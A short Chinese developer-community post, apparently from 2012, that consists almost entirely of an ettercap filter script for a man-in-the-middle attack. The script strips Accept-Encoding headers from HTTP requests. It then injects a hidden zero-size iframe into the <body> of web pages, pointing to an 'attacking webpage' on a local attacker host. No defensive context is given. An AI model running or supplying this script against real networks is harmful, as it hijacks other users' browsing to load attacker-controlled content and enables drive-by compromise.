开发者社区云计算文章正文

ettercap 修改页面内容

2012-02-21 617

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： if (ip.proto == TCP && ip.dst != '192.168.1.2' && tcp.dst == 80 || tcp.dst == 8080) { #.

    if (ip.proto == TCP && ip.dst != '192.168.1.2' && tcp.dst == 80 || tcp.dst == 8080) { 
      
     #...and if it contains an Accept-Encoding header... 
      
     if (search(DATA.data, "Accept-Encoding")) { 
      
     #...remove any Encoding (make sure we are using plain text) 
      
     replace("Accept-Encoding", "Accept-Nothing!"); 
      
     } 
      
    } 
      
    #--Inject Iframe-- 
      
    if (ip.proto == TCP && ip.dst != '192.168.1.2' && tcp.src == 80 || tcp.src == 8080) { 
      
     if (search(DATA.data, "<body>")){ 
      
     #Replace it with the body tag and an iframe to our attacking webpage 
      
     replace("<body>","<body><iframe src='http://192.168.1.2/hiroot.html' width=0 height=0 />"); 
      
     msg("iframe injected after <body>\n"); 
      
     } 
      
     if (search(DATA.data, "<BODY>")){ 
      
     replace("<BODY>","<BODY><IFRAME SRC='http://192.168.1.2/hiroot.html' width=0 height=0 />"); 
      
     msg("iframe injected after <BODY>\n"); 
      
     } 
      
    }

文章标签：

网络协议